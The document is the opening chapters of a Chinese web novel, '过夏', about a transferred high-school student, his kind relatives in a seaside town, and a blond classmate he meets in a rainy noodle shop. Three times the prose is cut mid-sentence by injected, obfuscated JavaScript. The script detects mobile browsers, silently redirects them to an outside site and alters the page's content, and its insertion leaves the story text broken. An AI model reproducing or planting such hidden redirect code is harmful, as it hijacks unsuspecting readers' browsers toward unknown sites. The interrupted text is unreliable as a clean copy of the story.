《过夏》 1. 【一】 “到了!灰鸟路!” 奶油色小巴士“吱嘎”一个急刹,停在路口。 司机在后视镜里看见陈遥没动,便转过脸,特意又看着他说了一遍,“后生仔,你的灰鸟路到了!” 陈遥一愣:“我要去的是……” 话说了个开头他就顿住了,因为他已经看见了车窗外那个路牌。 蓝底白字的路牌上,清清楚楚写着他的目的地: 飞鸟路。 …… “你要去的就是这里嘛,灰鸟路嘛。”旁边热心的阿婆附和道。 陈遥:“……” 还真是。 下车前他又向司机确认:“请问石浦二中是在这儿吗?” “对,走到头,有凤凰花那里就是。”司机又上下仔细打量他,“你是二中的学生?以前怎么没见过。” 陈遥回头笑了笑:“以后就见得多了。” . 六月初的海边小镇,天气已经相当闷热。 好在满眼都是葱茏绿意,略微可以冲淡烦闷。 飞鸟路上最醒目的,就是前面那两株凤凰花。 凤凰花树比其他树都高些,一眼就能看到。火红的凤凰花开满伞一样的树冠,好像停了满树振翅欲飞的小鸟,灿烂灼目。 二中的校门就在凤凰花树边。 “石浦二中”四个金色大字横排在校门上方的横柱上,阳光下闪闪发亮,左右两棵凤凰花俨然成了校门天然的装饰。 上学时间学校大门当然是不开的,只有旁边的小侧门开着,陈遥走过去,准备在门卫室那里登记,往小窗里一看却吓了一跳。 门卫大爷不知道从什么时候起,就隔着小窗盯着陈遥,目光相当凶狠。 “干什么的?”大爷率先发问。陈遥注意到他甚至转过身拿起了防爆叉。 陈遥:“……” 您有点过于警惕了,大爷。 “我是学生。”陈遥回答。 “学生不穿校服?不知道二中的校规?”大爷问。 他语气非常凶,以前陈遥整个学校都很少见这么凶的老师,可能也就教导主任吧。 “我是新生,来办入学的。”陈遥解释。 他本来长得就乖,有种一眼好学生的干净少年气,语气又太诚恳,以至于门卫大爷都没办法继续凶悍下去。 大爷板着脸:“……哦,有通知书什么的吗?我看一眼。” 陈遥从书包里拿出那个淡蓝色文件夹,里面是他的入学材料。 严格来说他的入学手续还没办完,因为他爸把他从省重点发配到这么个海边小镇的中学来,主要是为了吓吓他,他服个软还是可以回去上学的。 但陈遥完全没服软的打算,刚安顿下来,马不停蹄就过来办入学了。 大爷戴上花镜,认真地看了一遍陈遥那些材料,确定了他的身份才交还给他。 还的时候没等陈遥问,大爷就主动指路:“教务处在主楼一层,红色那个楼就是。” 其实还是挺温柔一大爷。 . 二中一共就两个楼,一个红楼,一个小白楼。教务处在红楼一层。 教务处主任是个一看就很严格的男老师,和门卫大爷的气质相仿,嘴角永远向下绷着。 主任对学校事务倒是很熟悉,毕竟二中在小镇上,应该也没有很多事务。陈遥敲门进来,他看了一眼就叫出陈遥的名字。 “来办入学?”教务处主任问。 陈遥“嗯”了一声,把自己的入学材料递过去,主任却没有第一时间接。 “之前的学校怎么不读了?”主任问,“你马上升高三了,这明明是很关键的时期。” “家里原因。”陈遥回答。 这其实跟没回答没区别,陈遥不想说的太清楚,教务处主任则不好追问,只能点了点头算他过了。 “我看你之前在省实验,那可是省里排名第一的学校。而且在省城,大城市。”教务处主任接过陈遥递来的材料,又看了他一眼,眼镜片反过冷硬的光,语气突然严厉起来。 “总之我先跟你说清楚,不管你以前怎样,到了二中就得遵守二中的校规!我们绝不允许任何形式的旷课、打架斗殴、顶撞师长、早恋等违规行为!请假必须有正当理由!” “如果违反校规,后果自负!明白了吗?” 在主任刚板起脸的时候陈遥还以为自己要迎接什么魔鬼条款,等主任全部说完,他倒是愣了一下。 这不都是很基本的东西么?怎么用这种语气。 陈遥很乖地点点头:“明白。” “好。”主任的语气略微缓和一点,他飞快地在陈遥那一大堆材料上面签字。 “剩下的手续我去帮你办,你不用管了。校服去学生处领,在107。你的班级是3班,高二年级在三楼,你明天就可以正式来上学了,记得不要迟到。” . 陈遥以前在省实验都随便玩手机的,省实验限制不多。但是二中不一样,他在楼道里刚拿出手机,路过的老师就看了他一眼。 这里所有老师的眼神都跟激光枪一样带刺的,陈遥有点怂。他立刻把手机放回口袋里去了。 硬是憋到拿完校服,出了校门,才敢看消息。 早就好几条未读提醒了,都来自他梁轩。 梁轩是陈遥的好哥们,也是他在省实验时的同桌。 -【怎么样兄弟,到了没】 -【学校如何?】 -【???怎么不回?不会中暑晕过去了吧?】 -【不会走半路被牛拱了吧?】 -【不会掉海里了吧?】 …… 赶在梁轩脑补好自己的一百种死法之前陈遥赶紧回消息。 -【来了来了,刚刚在办入学手续。】 -【哦哦,好的】 -【新学校怎么样?】 陈遥想了想。 -【还可以,就是老师都特别凶。】 -【跟我说了半天校规,语气非常严厉,说不遵守后果自负,搞不懂,跟校园规则怪谈似的。】 -【梁轩:……哎呀,这有什么难懂的。】 -【梁轩:你从省实验转到八百流的乡镇中学,正常人谁会这么干。你爸办手续时肯定也不会暴露自己本性,那老师第一反应肯定是你犯事儿被退学了呗。】 -【梁轩:他们那边估计本身学生就难管,肯定得先给你来个下马威,把你吓住,怕你惹事。】 陈遥看着这消息都不想回了,只觉得前途一片黑暗啊。 倒不是看不上石浦二中,但省实验全省排名第一,二中得倒着找,省实验全部精力抓学习和特长,二中抓纪律。 差距是客观存在的。 -【梁轩:没事儿,咱们既来之则安之,哥们不抛弃不放弃,明年直接考TOP2去狠狠打你爸的脸。】 -【梁轩:[摸你狗头.jpg]】 -【梁轩:对了你住的地儿怎么样?你素未谋面的亲戚人怎么样?】 -【陈遥:挺好的,比我爸强多了。】 . 陈遥在石浦住在他叔叔家,叔叔是他爸的亲弟弟,但是陈遥过去那十七年,从来没见过他。 就好像从来没带他回过石浦老家一样,在他爸陈树科眼里,老家和留在老家的亲戚,都是“没有价值”,“生活的对照组”。 所以当他爸随便找个借口要把他送过来读书,而他叔叔婶婶居然真就一口答应了照顾他时,陈遥除了惊讶还有一点对叔叔阿姨的内疚。 毕竟对方对他没有真正意义上的情分,但还是很善良地接纳了他。 能同意他过来住,就说明叔叔婶婶人很好,刚刚短暂的接触里,更是验证这一点。 叔叔婶婶单独给陈遥收拾了一个房间,家具都放了新的,那个房间的空调是整个房子里劲儿最大的。而且他很确定他爸不会为了他给叔叔任何钱。 叔叔家在镇边的村里,但是离镇上很近,坐车到学校,也就十来分钟时间。 跟梁轩聊着天,转眼就到了。 一下车,陈遥就接到他爸的电话。 . “小遥,到石浦两天了,还适应吗?” 在陈遥离开省城之前,已经很久没感受到他爸这么温柔的语气了。他走之前他们天天吵架,除了针锋相对就是冷脸。 电话那边陈树科的语气充满关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蝉聒噪地嗡鸣不停,夏天总是这样,漫长到难熬。 . 很快看到叔叔家的小院。 小院有些年头了,外墙有些旧,但叔叔打理得很用心。花藤爬着红砖墙,花草都被毒辣的气温热得发蔫。 叔叔早早就出去干活,他除了种地还开了家面馆。 婶婶左脚有点跛,这天气自然不太出门。 进门时,婶婶正坐在屋里玩手机。 婶婶很内向,几乎没和陈遥说过什么话,听到陈遥进门,她抬眼,两人四目相对,陈遥冲她笑了笑招呼一声。 本以为就结束了,婶婶突然叫住他:“等一下。” 陈遥一愣,婶婶起身,去后厨拿了个碗递给他。 刚从冰箱里拿出来的碗,透过保鲜膜能看到,西瓜、菠萝、冰块、绿豆、薏米,晶莹剔透地浸在微甜的冰水里。 陈遥愣了愣,手心冰冰凉凉的,刚才的燥热都褪去不少。他冲婶婶笑了笑:“谢谢。” —— 转过天,正式上学第一天。 照旧是阴天。 石浦小镇地处海边,多云多雾,晴朗的时间并不多。 陈遥在路边等公交车,等来的还是那个司机,看到他时笑呵呵地招呼,“后生仔,你真来上学了?” 车到飞鸟路,司机热情地:“到了!你的灰鸟路!” 陈遥配合地招呼一声下车。 第一天到校,惯例是去办公室找老师报到。 高二(三)班的班主任姓秦,和教务处主任、以及门卫老大爷一样,有种不怒自威的气势,见面严肃地先跟陈遥阐明一遍校规。 如果是昨天陈遥还会觉得有点压力,但是梁轩给他讲解过后,就完全不会这么觉得了。 无非是对陈遥还不了解,转学时候陈树科肯定也没说过好话。 “规矩说完还要说一句,我看过你的成绩单,你成绩应该很好。”班主任又说,“如果你觉得学有余力,也可以来找我,我会尽量给你提供帮助。” “走吧。”走廊里,预备铃声响起,班主任站起身,“带你去你的新班级。” . 上楼梯时,班主任又叮嘱陈遥一遍:“我们学校校规很……” 话没说完,已经转过楼道,两人同时听见楼道两边教室里传来如沸的喧哗声。 班主任:。 两人对视一眼,陈遥贴心地接话:“很严。” 班主任:“……” 2. 【二】 “是真的很严。”班主任没什么底气地解释。 陈遥很乖地点头,表示自己真的相信。 但很快他就看出来,确实是很严。 因为随着班主任推开三班的门,整个教室一瞬间就跟被掐住脖子的鸡一样,安静下去。 然后所有的目光就都盯在了陈遥身上。 一个班里三四十人,都看着陈遥,时不时彼此又交换目光。 . 这些目光有好奇,有打量,但绝对不算友善。 “让我们欢迎新同学,陈遥。”班主任带头鼓了鼓掌。 陈遥心想看起来他们也不怎么欢迎吧,不过还好,稀稀落落的掌声,至少把面子上填补过去了。 班主任指指班级最后一排的空座位,“你就坐那里吧。” 教室里一共六列,左右两列单独靠着两边的墙,中间四列两两并成一组。 班主任让他坐的那个位置就是两两一组中靠右边的那组,那里两个座位都没有坐人。 陈遥在班里个子算高,在省实验坐的也靠后,最后一排早已经习惯了。没想到他刚刚走到一半,坐在最靠墙那组的女生突然毫无预兆地起身,像只小兔子一样,飞快窜到了陈遥那个座位旁边的空位上。 也就是变成了陈遥的新同桌。 而本来教室右边角落里那个位置就空了出来。 “林源源!你干什么?”班主任眉头一瞬间拧成了川字。 女生看向班主任,熟门熟路地举起手。校服袖子从她纤细的手臂滑落下来,隐约能看到手臂上的纹身。 “报告老师,我和卓哥换个座位,卓哥说过不喜欢有同桌。”林源源回答道。 “……”班主任停顿了几秒,好像在管纪律和“这么做毫无意义”的事实间挣扎。最后认命地叹了口气,“下次提前打报告!” 林源源很配合地,“好的老师。” . 陈遥坐下之后,那个叫林源源的女生没理他。她像个运货小仓鼠一样,忙忙叨叨把她旧座位上的东西搬过来。 陈遥也没有跟林源源搭话,说到底就是换个学校而已,对方做什么古怪事情他都不是很好奇。 —— 这间教室里学习气氛其实和省实验没有太大差别,甚至单从形式上来讲这里的学习气氛更加浓厚。 黑板右列贴着课程表,除了课程表之外还单独有一个列表,标着每门科目的进度。比实验落后了差不多半学期。 黑板左边罗列着作业,作业量不大,是在实验中学时的一半左右。 陈遥正盘算着怎么安排自习计划,教室前方突然传来清脆的教鞭敲黑板声,抬起头,一个温柔漂亮的女老师不知何时已经站在讲台前。 半扎着黑披发、框架眼镜、浅紫碎花连衣裙。 “今天早自习是语文自习,我们突击测验默写。”老师微笑。 . 语文老师手上拿着一沓空白默写纸,她按照人数分发给每个组坐在第一的同学,一个个传下去。 陈遥本来以为这种随堂测验在二中不会得到太多响应,但他很快发现并非如此,每个人拿到卷子就开始写名字。 即使语文老师看起来文文弱弱,但这个学校的学生好像都很听老师话。 不过,听话是一回事,成绩是另一回事。 默写内容是一篇必背篇目的古文,长但不难,可老师发默写卷时同学们脸上那种绝望、茫然、不知所措的表情陈遥就太熟悉了。 他都怀疑班上有人是第一次看到这篇古文的名字。 刚写了几句,陈遥就感觉到旁边有双眼睛在使劲儿看他,很明显是他那位新同桌。 陈遥把卷子往她那边推了推。 默写就是为了记住内容,抄写一遍也能加深记忆,反正不是重要考试,效果差不多。 收卷时老师还是微笑:“中午之前我会把卷子判好,错一半以上的,中午吃完饭自觉来我办公室抄写。偷空不来的后果自负。” 陈遥:“……” 也不知道为什么,老师语气还是很温柔他却打了个寒颤,感觉好像一条露出刀锋牙齿微笑着的美女大鲨鱼。 . 美女鲨出门后,教室里立刻响起一片唉声叹气,可以称得上哀鸿遍野。 吵闹中有人拿笔帽戳了戳陈遥胳膊。 陈遥转过头。 林源源看着他。 “有事吗?”陈遥问。 “新来的。”林源源盯着陈遥,故意把语气做得很冷漠很凶,“跟你说一下,我们这儿有自己的规矩。” “你要足够强才能得到认可,不被认可的话他们话都不会跟你说一句的。” “还有,刚才谢谢你。” 虽然化着明显的黑眼线,刘海也压得很低,但还是能看出来林源源眼睛大大的,眼珠很清亮。 陈遥本来觉得林源源是要跟他立下马威,实际可能也确实是,但好像没什么效果,他心里只是觉得有点中二。 但对面挺有礼貌,所以陈遥配合地问:“怎么才算足够强?” 林源源还真被他问住了,想了一会儿才说:“能征服我们,让我们心服口服,或者有用,就可以了。” “比如?”陈遥问。 “比如能在班头的课上转播篮球赛、打球能虐外面的、比如在街上很吃得开,再比如周测考年级第一。”林源源思索着。 “周测考年级第一?”陈遥疑惑地重复一遍,“这听着和前面几个完全不是同一个叛逆程度的啊。” 林源源点头:“确实这个听起来比较呆,但是在我们这儿,周测年级第一的话全班有奖励,还能免值日,全是特权。” 她叹了口气:“虽然是不可能完成的任务,但姑且算在这里。” 陈遥说:“这多简单的事情。” “简单?”林源源惊讶地看着他,“你搞笑呢吧?我们周测很难的!二班还有个学霸!” 跟她说这些显然她也没概念,陈遥叹了口气:“你看着吧。” . 下课后有晚自习,二中的晚自习是周测批改卷子的时间,每天一科,改完就可以走,不强制留校。 所以周一晚上,就是班主任抱着卷子进来宣布排名。 “上周周测,年级排名第一是2班的林瑞泉。年级排名第一的班级同样是2班。” “我们班还是年级第5。” 一共有几个班来的?陈遥抬头扫了眼楼道里的班牌。 5个。 …… 漂亮。 —— 在石浦的日子每一天都像重复的日常任务,小镇上没有新鲜事,就算有也和陈遥没关系,所以时间过得很慢。 可一眨眼就发现,其实好多天过去了。 转眼已经是周五,周测时间。 虽然是每周都会有的例行测试,但考试令人意外的严格,所有课桌都要转成桌肚超前,挨在一起的两张课桌要拉开。 搬座位时,陈遥再次注意到自己右边那个单列的空桌。 他记得这里好像有人,因为林源源一开始貌似是跟谁换的座,但一周下来这里都空的,他又搞不清楚到底有没有人了。 “这里到底有没有人坐?”他突然有点好奇,问林源源。 虽然一开始林源源做了非常狠的姿态,仿佛要孤立陈遥,但是这几天下来陈遥发现,她话还是挺多的。 班里基本上只有她主动跟陈遥说话。 “有呀。”林源源回答,“这座位是丁卓的,虽然你还没见过他,但他是我们学校的风云人物。” “风云人物,那怎么一周都不来上课?”陈遥问,“连周测他都不来?” “卓哥这周都来不了,他请假了。”林源源说。 虽然二中学情相对松散,但再怎么说也是高二升高三的关键时刻。 读书十多年最关键的就是最后这一年,居然整整一周不来上课,这学校还在教新知识点呢。 “多耽误事儿啊。”陈遥忍不住说。 “哎你懂什么呀,马上端午又赶上开海,我们要迎龙王,卓哥是旗手,要去排练。”林源源说,“迎龙王是我们这儿最重要的仪式了,其他事情肯定都得往后让的。” 班主任在前面敲了敲黑板,陈遥和林源源对视一眼,林源源吐了吐舌头,乖乖收声。 . 周测是所有科目卷子一股脑发下来做,陈遥比规定时间早了很多交卷,以至于靠在桌边监考顺便打盹的班主任都很惊讶。 他板着脸接过陈遥的卷子要确定他是不是糊弄一下交白卷,但只是扫了几眼自己任教的数学科目,表情就越来越诧异,到最后他看着陈遥已经可以说是慈祥了。 “去吧。”班主任说,“等会要下雨,路上小心,别在外面乱玩。” 陈遥心想我还能去哪里玩,他点了点头:“好的老师。” —— 天又是阴着,灰蒙蒙的一片。 石浦靠海,基本上天天下雨,叔叔说天晴时海边特别美,但是一个星期了天都没晴过。 巴士上还是那几个老面孔,司机跟阿婆絮絮叨叨,说今天肯定要下大雨了,得早点回家收衣服。 在后视镜里看到陈遥望着窗外发愣,司机又来找他搭话:“后生仔,怎么这么早?我记得二中学生周五放学都很晚的。” 陈遥:。 他想了想,不忍戳破本校同学的真实学业水平,最后委婉地说:“我是新生嘛。” 到下车时,天边云沉沉压到房檐上。 大雨来临前气压最低,也最闷热,陈遥紧赶慢赶回了家,进院子时,云已经压到了头顶上,陈遥进门就看到婶婶愁容满面在打电话。 问了才知道,叔叔今天刚去把面馆开张,看天色不对,又急急赶去田里,怕大雨浇坏庄稼。 现在正忙着拉棚子,完全抽不开身,可面馆那边就没人照看。婶婶腿脚又不方便,下雨天一个人没法出去。 “我去吧。”陈遥说。 婶婶明显吃了一惊:“你?” 陈遥点头。他一直觉得叔叔婶婶本来完全可以不管他,却对他很好,他想报答,却不知道怎么报答,现在好不容易有了机会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883301|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那怎么行?”婶婶立刻摆手拒绝,“马上下大雨了,怎么能让你一个人呆在店里?” “婶婶,你放宽心,我是十七岁又不是七岁。”陈遥劝说道,“而且我在家里是写题,去店里也是写题,没差别的。” “我现在去店里,搭个车也就十分钟,现在刚要开始下雨,没事的。” 婶婶犹豫了一会儿,终于下定决心:“好吧。隔壁中叔要去海边收网,你们顺路,我叫他带你过去。” —— 坐在中叔的小电动后座,两人沿环海公路一路北上。 大雨将至,天灰蒙蒙的,但路边开放着很多野花,有种忧郁的美。 中叔是个留着一撮胡子的小老头,年纪比叔叔大个十几岁,有着农民特有的朴实与沉默,只在陈遥上车时简单攀谈了几句。 “你是阿科的儿子。”中叔说。 “以前我看着阿科跟阿隆长大,现在又看到你,时间过得真快。” “你长得好看,比阿科小时候俊太多了。” …… 一路无话,一直沿着环海公路到面馆附近。 陈遥下车,正准备和中叔告别,中叔突然对他说:“对了,小陈,你有空跟你爸说说。” “既然把小孩送过来了,就不要天天跟阿隆要求那么多。自己不管,又要指手画脚,什么意思嘛。” 陈遥反应了一下,意识到“阿隆”就是他叔叔陈树隆时,突然手脚有点发凉。 “我爸说了什么?”他问。 这一周陈遥都和他爸没有任何交流,那天打电话不欢而散之后,他爸除了分享一些孝顺相关的公众号之外和陈遥零交流,但正常人谁也不会觉得当爹的会把儿子丢在陌生的小镇不管。 包括中叔,他只是更偏向留在镇子上的阿隆,所以希望陈遥能站在阿隆这一边。 “要阿隆帮着管你呗,他要阿隆每天拍你照片发回去,阿隆说孩子大了,要拍让你自己找他说。阿科就发火,说这是正常的关心,说阿隆不知好歹,什么都不懂。那天在地里他们打电话吵得很厉害,我们所有人都听见了。”中叔明显是真的不满。 “阿科挺奇怪的,当年要不是阿隆四处打工给他攒学费,他从哪里读的书?现在他发达了,不回来看看就算了,还说这种话!” 天色阴沉,但热浪滚滚。 . 雨好像是突然来的。 刚刚一路上,天只是阴沉沉地压着,但陈遥刚进了店,一回头的功夫,豆大的雨点已经噼噼啪啪地落下。 陈遥在婶婶的视频指导下收拾了店面,在柜台后坐下,拿出物理题。 可他看了好几遍题目,却什么都看不进去,因为中叔刚才的话在脑海中挥之不去。 烦得要命,让陈遥很想去质问他爸。 质问为什么会要求叔叔偷拍他照片,又为什么能像逼迫他一样平等地逼迫所有人,哪怕那个人是打工供养他爸上学的,他爸的亲弟弟。 但他又知道质问无济于事。 因为一直以来,他不管有什么情绪,陈树科都只会觉得是“小孩脾气”,然后用情绪暴力来压制。 不想再去想这些,陈遥盯着面前那道物理题看,可是读了题目几遍都看不进去。 确实题比较难,是省实验的题,但陈遥也是真的没状态。中叔说的话,连同那些让人焦躁的思绪烦乱地缭绕着,让他很难集中注意力。 他逼着自己把题干读出声音强行去思考,刚读了两行,门突然“吱呀”一声开了。 . 对方并没有故意用力推门,但这门本来也有年头了,尖锐的“吱呀”声直接把陈遥从做题状态硬拽了出来。 他恼火地抬头时,听见进门的人说:“有火吗,叔——” 四目相对。 门口站着个金色头发的男生。 很帅的一张脸,兼有十七八岁男生的少年气和锋芒,微微上挑、锐利英俊的眉眼,高挺的鼻梁与利落的下颌线。 杨柳一样挺拔的身形,随意的白衬衫、夹在指尖的烟,另一只手里拿着的滴水的雨伞。以及…… 和陈遥同款的,石浦二中的蓝白校裤。 陈遥愣住。 男生看到陈遥身上的二中校服时,也明显一愣,说到一半的“叔”字直接拐了个弯。 “叔——帅哥。”男生笑笑,冲陈遥扬了扬手里的烟,“有火吗?” . 陈遥没回答,他有点懵。 大雨天突然闯进店面的少年,清新俊逸的眉眼,少年独有的凛冽不羁的气质,以及他手里夹的那支烟。 ——所有这些元素对陈遥来说都很陌生,却又很抢眼,以一种很有侵略性的方式出现在陈遥面前,强制性占据他的思维,把他原本的思绪,不论是这道物理题还是之前的烦躁,都强制清除。 男生看陈遥不说话,只当他在拒绝。 也不知道为什么,陈遥看着人时,给人一种又好看又温柔的班委,马上要管纪律的感觉。 于是对方思索了下补充道:“我成年了,可以抽烟了。” 陈遥:“……” 3. 【三】 虽然陈遥还是不太能接受男高抽烟这种设定,但重点不是这个。 他也管不到别人抽不抽烟、抽烟时成年没成年。 “我真是没有火。”陈遥一脸诚恳。 男生垂眼看看陈遥本子上整齐清隽的笔迹,弯了弯嘴角:“看得出来。” 陈遥:。 这人说话的方式在他看来有点儿没边界感,不过还行吧。有脸撑着,不讨厌。 “介意我去后厨点个火吗?”男生问。 想了想又说,“你跟隆叔认识吧,你可以跟他问一句,说丁卓问他借火,他认识我的。” 不知道出于什么心态,男生又补了一句:“我不是坏人。” 陈遥:“……” . 忽略对面在逗他的事实,陈遥先注意到这个名字:“你就是丁卓?” 怎么说呢。 真人和林源源的描述很贴。非常抢眼,还有点不良少年。 这次换对面愣了一下,“你认识我?” “知道这个名字吧。”这次是陈遥的反击回合,“毕竟是风云人物。” 丁卓:“……” 丁卓一下笑了。 . 丁卓其实气质有点儿不良,那头金毛再加上他眉型锐利,眼神又带点冷感,很容易给人不好惹的感觉。 但他笑起来就完全不一样,他笑起来挺明亮的,也很有感染力,有点像邻居家体育很好的大哥哥。 “那风云人物能借个火吗?”丁卓笑着问,“这个词好尴尬啊。” 陈遥指了指后厨,反正这人好像比他熟悉这家面馆的构造,“你自己去吧。” 丁卓果然熟门熟路地进了后厨,但是陈遥等了一会儿,也没闻到他熟悉的烟味,就在他都快要担心丁卓在后厨出什么意外时,丁卓又夹着烟走了出来。 这支烟并没点燃。 “外面雨太大了,没法出去抽。”丁卓解释,“算了。” 陈遥惊讶地笑了笑,表示感谢。 他爸从来没在意过这个,他每次在家吞云吐雾陈遥都只能默默把窗户开得大一点。 . “我在这儿避会儿雨。”不良少年在离陈遥比较远的角落坐下。放饮料的冰柜在那边,他熟门熟路地拿了两瓶绿茶,问陈遥,“付款码呢?” 代理店主陈遥没想到自己看店第一天就真能有生意,找了一下才看到叔叔用回形针别在柜台后的付款码,他把那张塑封卡片递给丁卓。 丁卓付完款,留了一瓶在陈遥面前,“请你喝。” —— 雨越下越大,看不出有停的意思。 门外已经什么都看不清了,天地之间烟雨如帘,水天茫茫一色。 整个世界只有雨打在房顶、地面的声音,和陈遥笔尖落在草稿纸上的沙沙声。 陈遥起初很烦躁的,他爸的事情在脑海里萦回不去,但是给丁卓这么一打岔,反倒把这事儿忘了,终于进入状态。 这道物理题虽难,但没有难到超出陈遥的能力。 虽然耗费时间久一些,总算是连最有难度的第三问都完好做出来。 写完最后一个算式,陈遥放下笔,往椅背上一靠,浑身的劲儿都松懈下来。做题就像打仗,赢了会很舒服。 对答案。 其实数理化这种科目,做的时候大概就知道结果如何,虽然陈遥已经知道自己没做错,但真对答案时,还是只能用一个词形容: 完美。 不光结果正确,就连过程分都全拿,标准得让人挑毛病都挑不出来。这结果陈遥还是很满意的,说明他状态跟省实验比没有丝毫褪色。 拍下自己堪称标答的答案,发给好兄弟梁轩炫耀,顺便拿过手边的绿茶喝一口。 直到这时,陈遥才想起,这家店里还坐着个不良少年。 哦,现在不能叫不良少年,毕竟别人请他喝水了。 . 丁卓比陈遥想象的安静很多,他虽然在玩手机,但居然是静音玩的,以至于陈遥做题时根本都忘记了他的存在。 到陈遥发出声音,他才往这边看了一眼:“你题写完了?” “嗯。”陈遥笑了笑,“谢谢你请我喝水。” “你做的是物理题?”丁卓问。 陈遥一愣:“你怎么知道?” “你写题的时候我过来看了一眼。”丁卓说,“你还挺专心的。” 陈遥:“……” 妈的这人果然还是没边界感。 . 陈遥继续写题,现在是写作业,这就比刚才的物理简单太多了。 丁卓则继续玩手机。 写作业不需要费太多心力,陈遥还有空去观察一下丁卓,虽然他也不知道自己为什么要观察丁卓。 他很快发现,不良少年虽然长了一张叛逆的帅脸,其实挺体贴。 就丁卓进门时手里夹的那支烟,坐下之后顺便搁在手边,玩手机时他有很多次顺手把烟拿起来了,但最后都没点,又放回原处。 雨一直在下,从陈遥开始写第一道物理题到他写完全部作业,门外雨声一直不断,完全没停的迹象。 陈遥写完题,就放下笔去到店门口,想看看状况。 一拉开店门,雨汽裹着夏日的潮湿热意汹涌而来,扑了陈遥一脸。 就像一瞬间从幻境进入现实,陈遥赶紧后退半步,确保自己站在空调冷气的覆盖范围里。 . 其实也看不清什么,雨雾覆盖了视野范围内的整个世界,只有隐隐约约的轮廓。 海湾公路平缓的大弯,还有坡下被公路环抱的沙滩,再外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883302|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面就是海。 海和天完全融在一起,几乎什么都看不见,但是在海里能看见粉色的灯。 很多盏,粉色的光朦胧折射着,如同一颗颗融化的四芒星。 “那些是小渔船。”丁卓不知什么时候走在陈遥旁边,贴心地讲解,“雨天它们会停在海上,灯光是它们互相联系的信号,用来确认位置和安全状况。” “雨这么大,这些船不用回港吗?”陈遥问。 丁卓说,“对渔船来说这雨不算大,要是再大点的船,这天气完全不妨碍工作。” “你上过渔船吗?”陈遥问。 “你猜。”丁卓笑了笑。 . 这场雨一直下到天彻底黑透,才算到了能出门的程度。 差不多雨刚小下来,丁卓就有电话打进来,应该是叫他出去。 这人是真的忙,不过回忆起三班那些同学陈遥又觉得合理。丁卓人不在的日子都要被他们一直念叨,就能知道这人平日里是怎样受欢迎的一个状态。 丁卓刚跟陈遥道别,想了想又“噌”地转回去。 陈遥还没反应过来,丁卓人已经进了后厨,再出来时,手指间那根烟火星一闪一闪的,总算是点了起来。 陈遥闻到烟味之前,丁卓的人已经到了店外,挥挥手,“周一见,陈遥。” ? 像是感觉到陈遥心中的疑问,丁卓笑着补充,“刚才在你卷子上看到的名字。” 陈遥:“……” 您真的很没边界感吧! —— 周一丁卓还真来了,虽然来得很迟,差不多踩着早自习的铃声。他刚出现在门口,林源源就狂戳陈遥胳膊,小声喊:“卓哥来了!看!卓哥!” ……为什么有种“看!熊猫!”的感觉。 看得出丁卓在班里人气很高,他刚出现在班门口,所有人的视线都汇集过去。 丁卓在学校和那个下雨的夜晚给人的感觉不太一样,那天晚上他给人感觉有点欠,今天则完全是一种冷冷的高岭之花的感觉。 差不多每个人都在冲他打招呼,丁卓反应不大,只是往陈遥这边看了一眼,点了一下头,就走到了自己的新座位上。 “诶?”林源源愣了一下,“卓哥是在跟你打招呼吗?” 其他人看来丁卓都是冲林源源打招呼,这两个人私下关系好像很不错,所以没人觉得有问题,只有林源源才知道丁卓看的不是她,她很疑惑丁卓为什么会跟陈遥打招呼。 陈遥则装傻。 . 还好林源源没有很多追问的空间,因为丁卓刚进班没一分钟,班主任就推门走了进来。 班主任左脚刚踏进教室,林源源就很轻很轻的“诶?”了一声。 “班头今天心情好像不错诶。”林源源小声说。 4. 【四】 “怎么说?”陈遥问。 “他平时进门都是黑着脸,但是你看今天。”林源源说。 “我看还是黑着脸啊。”陈遥说。 “……”林源源叹了口气,“你要关注班头的微表情,你看,他虽然是黑着脸,但是嘴角向上飞起,压都压不住。” 给林源源这么一说陈遥才看出来,还真是这么回事。 而且秦老师已经注意到他们俩在交头接耳了,往这边看了一眼,却没有像以前那样严厉地喝止,看得出心情真是不错。 “为什么啊。”林源源继续念叨。 “是不是卓哥去扛旗又给我们班加才艺分了?不对啊,端午都没到他上哪里扛旗去。” “难道这次周测我们班终于不垫底了?不过这更不可能啊。” . 眼看林源源在最后一排自己跟自己唧唧喳喳,一个人上演了千军万马,班主任往这边看了好几次,终于忍无可忍,用力清了清嗓子:“保持安静!” 林源源一抬头,跟班主任目光相对,赶紧闭上嘴,垂眼看桌子,眼观鼻鼻观心,突出一个装死。 陈遥:“……” 同桌是真觉得装看不见就有用吗? 没想到真有用。 因为班主任没追究这个话题。 “今天早自习是升旗仪式。”班主任说。不知为什么,他又一副很愉快的样子,“作业放在桌角,然后赶紧下楼!” . 上周一的升旗陈遥还没入学,没赶上,不过升旗仪式在不同的学校都大差不差。 陈遥跟着人流下楼,丁卓同样不紧不慢地落在后面。 林源源看从陈遥这里打听不到,就跟个小跟宠似的环绕在丁卓边上,追问他为什么会认识陈遥。 陈遥竖起耳朵偷听。 在陈遥心里,认识丁卓的那个下大雨的午后可以当做是个秘密基地一样的存在,不过他并不强求丁卓这样觉得。 如果丁卓回答“在某某面馆见过”,这也很正常。 